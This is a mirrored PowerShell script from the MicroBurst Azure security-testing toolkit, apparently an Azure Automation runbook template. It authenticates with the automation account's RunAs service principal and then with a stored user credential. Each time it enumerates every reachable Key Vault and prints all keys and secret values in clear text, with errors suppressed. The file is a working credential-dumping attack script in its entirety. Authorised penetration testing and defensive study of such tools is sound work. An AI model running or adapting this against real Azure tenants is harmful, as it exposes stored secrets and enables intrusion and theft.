mirror of
https://github.com/NetSPI/MicroBurst
synced 2026-06-08 12:01:29 +00:00
94 lines
3.7 KiB
PowerShell
94 lines
3.7 KiB
PowerShell
$ErrorActionPreference = "SilentlyContinue"
|
|
|
|
# Start RunAs Process
|
|
$connectionName = "AzureRunAsConnection"
|
|
$servicePrincipalConnection = Get-AutomationConnection -Name $connectionName
|
|
|
|
# Connect AzureRM
|
|
Connect-AzureRmAccount -ServicePrincipal -Tenant $servicePrincipalConnection.TenantId -ApplicationId $servicePrincipalConnection.ApplicationID -CertificateThumbprint $servicePrincipalConnection.CertificateThumbprint | out-null
|
|
|
|
# Try to read KeyVaults
|
|
$vaults = Get-AzureRmKeyVault
|
|
foreach ($vault in $vaults){
|
|
$vaultName = $vault.VaultName
|
|
try{
|
|
$keys = Get-AzureKeyVaultKey -VaultName $vault.VaultName -ErrorAction Stop
|
|
# Dump Keys
|
|
foreach ($key in $keys){
|
|
$keyname = $key.Name
|
|
$keyValue = Get-AzureKeyVaultKey -VaultName $vault.VaultName -Name $key.Name
|
|
# Write out keys - format Vault:Type:Type2:Name:Value
|
|
Write-Output "$($vaultName)`tKEY`t$($keyValue.Key.Kty)`t$($keyValue.Name)`t$($keyValue.Key)"
|
|
}
|
|
}
|
|
catch{}
|
|
|
|
# Dump Secrets
|
|
try{$secrets = Get-AzureKeyVaultSecret -VaultName $vault.VaultName -ErrorAction Stop
|
|
foreach ($secret in $secrets){
|
|
$secretname = $secret.Name
|
|
Try{
|
|
$secretValue = Get-AzureKeyVaultSecret -VaultName $vault.VaultName -Name $secret.Name -ErrorAction Stop
|
|
$secretType = $secretValue.ContentType
|
|
# Write Out Secrets - format Vault:Type:Type2:Name:Value
|
|
Write-Output "$($vaultName)`tSECRET`t$($secretType)`t$($secretValue.Name)`t$($secretValue.SecretValueText)"
|
|
}
|
|
Catch{}
|
|
}
|
|
}
|
|
catch{}
|
|
}
|
|
|
|
#------------------- Start PSCred Section -------------------
|
|
|
|
$myCredential = Get-AutomationPSCredential -Name TEMPLATECREDENTIAL
|
|
|
|
if($myCredential -ne $null){
|
|
# Start AutoCred Process
|
|
$userName = $myCredential.UserName
|
|
$password = $myCredential.GetNetworkCredential().Password
|
|
|
|
# Set up credential object
|
|
$PWord = ConvertTo-SecureString -String $password -AsPlainText -Force
|
|
$Credential = New-Object -TypeName "System.Management.Automation.PSCredential" -ArgumentList $userName, $PWord
|
|
|
|
$ErrorActionPreference = "Stop"
|
|
|
|
# Try to auth as regular user, not as an SPN, that happened above with the RunAs
|
|
Try{Connect-AzureRMAccount -Credential $Credential}
|
|
Catch{break}
|
|
|
|
# Try to read KeyVaults
|
|
$vaults = Get-AzureRmKeyVault
|
|
foreach ($vault in $vaults){
|
|
$vaultName = $vault.VaultName
|
|
try{
|
|
$keys = Get-AzureKeyVaultKey -VaultName $vault.VaultName -ErrorAction Stop
|
|
# Dump Keys
|
|
foreach ($key in $keys){
|
|
$keyname = $key.Name
|
|
$keyValue = Get-AzureKeyVaultKey -VaultName $vault.VaultName -Name $key.Name
|
|
# Write out keys - format Vault:Type:Type2:Name:Value
|
|
Write-Output "$($vaultName)`tKEY`t$($keyValue.Key.Kty)`t$($keyValue.Name)`t$($keyValue.Key)"
|
|
}
|
|
}
|
|
catch{}
|
|
|
|
# Dump Secrets
|
|
try{$secrets = Get-AzureKeyVaultSecret -VaultName $vault.VaultName -ErrorAction Stop
|
|
foreach ($secret in $secrets){
|
|
$secretname = $secret.Name
|
|
Try{
|
|
$secretValue = Get-AzureKeyVaultSecret -VaultName $vault.VaultName -Name $secret.Name -ErrorAction Stop
|
|
$secretType = $secretValue.ContentType
|
|
# Write Out Secrets - format Vault:Type:Type2:Name:Value
|
|
Write-Output "$($vaultName)`tSECRET`t$($secretType)`t$($secretValue.Name)`t$($secretValue.SecretValueText)"
|
|
}
|
|
Catch{}
|
|
}
|
|
}
|
|
catch{}
|
|
}
|
|
}
|
|
|